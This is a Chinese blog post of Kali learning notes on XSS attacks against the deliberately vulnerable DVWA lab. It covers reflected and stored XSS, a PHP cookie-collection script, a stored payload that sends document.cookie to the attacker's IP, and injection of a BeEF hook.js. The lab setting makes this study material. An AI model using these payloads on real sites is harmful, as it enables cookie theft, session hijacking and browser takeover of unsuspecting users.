首页 > 其他分享 >kali学习笔记-05-DVWA XSS跨站脚本攻击

kali学习笔记-05-DVWA XSS跨站脚本攻击

时间:2024-01-31 15:33:28浏览次数:44  
标签:脚本 XSS 跨站 05 kali 如下 cookie 输入

kali学习笔记-05-DVWA XSS跨站脚本攻击

KaliLinux网络安防

一、反射型XSS攻击

在OWASP的DVWA上,选中XSS reflected页面,在输入框内输入张三,页面反应正常。
enter description here
尝试输入一句script脚本。

<script>alert('xss')</script>

出现了如下的系统弹框,也就意味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了 XSS 漏洞。
enter description here

二、存储型XSS

在DVWA中选择XSS stored,在Name中输入test,在Message中输入<script>alert('xss')</script>。点击Sign Guestbook按钮后,会弹出弹窗。如下图所示。
enter description here

此时,换到另外一台计算机上,访问这个网站并点击XSS stored选项,都会弹出这个弹窗,也就是说,都会受到脚本的攻击。

三、Kali获取用户的cookie

包括4个步骤:

  1. 构建收集 cookie 的服务器
  2. 构造XSS代码
  3. 植入 Web 服务器
  4. 等待受害者触发XSS代码并将cookie发送到kali
  5. cookie的利用

分手动XSS和自动XSS分别介绍。

1. 手动型XSS

1-1. 在Kali中启动收集cookie的服务器

systemctl start apache2

1-2. 构造XSS代码

vi /var/www/html/cookie_rec.php

向其中写入如下内容:

<?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt","a");
    fwrite($log, $cookie . "\n");
    fclose($log); 
?>

设置apache的权限。

sudo chown -R www-data:www-data /var/www/

1-3. 植入Web服务器

在页面上的Message输入框中,输入如下内容:

<script>window.open("http://192.168.48.140/cookie_rec.php?cookie="+document.cookie)</script>

注音,这里的IP地址是Kali的IP地址。

由于网页有限制,我们输入不了这么长的内容。所以要修改网页,去掉这个限制。

F12进入开发者模式,进入Inspector,找到Message输入框对应的代码(鼠标滑过代码时页面上对应的部位会有提示),如下图所示。
enter description here
可见,输入长度被限制在了50,在这里直接把它修改为200。然后输入上面的代码,如下图所示。
enter description here

然后点击Sign Guestbook

1-4. 等待受害者触发XSS代码并将cookie发送到kali

现在我们假装是受害者,在另外一个机器上登录到同样的页面,输入信息后点击Sign Guestbook,此时会出现一个被阻止的弹窗。如下图所示。设置允许弹窗。
enter description here
到kali下面去查看,可以看到,cookie信息已经被收集。如图所示。
enter description here

enter description here
enter description here

1-5. 利用cookie

没有做这一步的实验。

2. 自动化XSS

Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透。使用BeEF,我们将不再需要自己创建php文件。

2-1. 启动apache和BeEF

启动apache2,在kali中输入如下命令:

systemctl start apache2

beef不允许使用弱口令登录,所以要先修改beef-xss的登录密码。编辑文件/usr/share/beef-xss/config.yaml,把passwd修改为abc@123。如下图所示。
enter description here
从中可以看到,登录所使用的用户名是beef

2-2. 登录BeEF管理界面

在kali虚拟机的浏览器地址栏中,输入地127.0.0.1:3000/ui/authentication,使用用户名beef和密码abc@123登录。
enter description here

2-3. 植入Web服务器

Message输入框中输入如下脚本:

<script src="http://192.168.48.140:3000/hook.js"></script>

注意,这里的IP地址是kali虚拟机的IP地址。在浏览器中要修改最大字数限制。
enter description here
点击Sign Guestbook,允许弹窗,然后在beef的网页上,可以看到kali虚拟机的IP地址。如下图所示。
enter description here

2-4. 功能演示

如下图所示,发送一个告警弹窗。

enter description here
enter description here
在受害者的网页上,就会对应弹出窗口,如下图所示。
enter description here
实验完毕。

四、参考文献

  1. DVWA XSS跨站脚本攻击实践
  2. 中华人民共和国网络安全法
  3. XSS跨站脚本攻击原理
  4. XSS跨站脚本攻击理论和实战 XSS构造脚本+手动XSS+利用BEef自动化XSS(网络安全学习13)

标签:脚本,XSS,跨站,05,kali,如下,cookie,输入
From: https://www.cnblogs.com/nangongergou/p/17999357

相关文章

  • 05-大厂咋解决技术债的?
    在构建可扩展的软件时,它是最关键的团队。现实没有技术债管理团队,也没人愿意加入这样队伍。这种团队每天就是给其他开发人员收拾烂摊子,谁愿意给别人擦屁股呢,毕竟又不是年薪百万?但确实有一些名字听起来更专业的团队,如基础设施团队、架构团队、核心团队,这听起来是不是就吊炸天了?......
  • datawhale-leetcode打卡:038~050题
    两数相加(leetcode002)#Definitionforsingly-linkedlist.#classListNode:#def__init__(self,val=0,next=None):#self.val=val#self.next=nextclassSolution:defaddTwoNumbers(self,l1:Optional[ListNode],l2:Optional[List......
  • Arduino - Arduino/AVR/8051 和 ARM/STM32
    8051,AVR和ARM架构80518051是由Intel于1980年代初推出的一款8位单片机。它的架构基于哈佛结构(分离的程序和数据存储器),并使用8位数据总线和16位地址总线。8051内核是一个8位CISC(复杂指令集计算机)处理器,具有不同的寻址模式和指令。该内核具有四个寄存器组、两个16位计数器/定时器、一......
  • A+B问题1+105种解法
    个人写法应该没有更短的了吧,挑战世界最短a,b;main(){scanf("%d%d",&a,&b);printf("%d",a+b);}要测试点这里以下转自\(AcWing\)=================原作者为Conan15。要测试点温馨提示:此题解适合人群为算法学习者,不那么适合语法基础课还没学完的学生为了不误导初学者先......
  • Quant-Ch05 量化择时策略
    Ch5量化择时策略 量化择时策略,就是采用数量化分析方法,利用单个或多个技术指标的组合,来对交易标的股票或股票指数进行低买高卖的操作,期望获得超越简单买入持有策略的收益风险表现。 量化择时策略的核心是技术分析,更准确地来说,是客观型技术分析。客观型技术分析,是指其分析过程中所......
  • 洛谷题单指南-排序-P1059 [NOIP2006 普及组] 明明的随机数
    原题链接:https://www.luogu.com.cn/problem/P1059题意解读:此题主要做两件事:排序+去重,用计数排序即可解决,直接给出代码。100分代码:#include<bits/stdc++.h>usingnamespacestd;constintN=1005;inta[N];intn;intmain(){cin>>n;intx;intcnt......
  • 英语一课一练一年级扩展阅读05The World of Alice-爱丽丝的世界
    PDF格式公众号回复关键字:YYYKYLY05记忆树1Hello!MynameisAlice.翻译你好,我的名字是爱丽丝。简化记忆名字2Thisismyface.It'sround.翻译这是我的脸,它是圆的。简化记忆圆脸3Lookatmyeyes.They'rebig.翻译看我的眼睛,它们很大。简化记忆眼睛4......
  • flask-study-005
    本篇博客记录flask-mail的使用fromflaskimportFlaskfromflask_mailimportMail,Messageapp=Flask(__name__)app.config['MAIL_SERVER']='smtp.163.com'app.config['MAIL_PORT']='465'app.config['MAIL_USE_TLS'......
  • Docker学习笔记05:私有库
    DockerRegistry基本流程下载DockerRegistry镜像启动Registry容器推动镜像到自建Registry查看从自建Registry拉镜像。启动镜像dockerpullregistry#运行registry映射端口挂载映射容器卷开启特权模式dockerrun-d-p5000:5000-v/opt/registry:/tmp/registry--privilege......
  • 洛谷题解-P1673 [USACO05FEB] Part Acquisition S
    https://www.luogu.com.cn/problem/P1673题目描述奶牛们接到了寻找一种新型挤奶机的任务,为此它们准备依次经过N(1≤N≤5×104)N(1\leN\le5\times10^4)N(1≤N≤5×104)颗行星,在行星上进行交易。为了方便,奶牛们已经给可能出现的K(1≤K≤103)K(1\leK\le10^3)K(1≤K≤103)......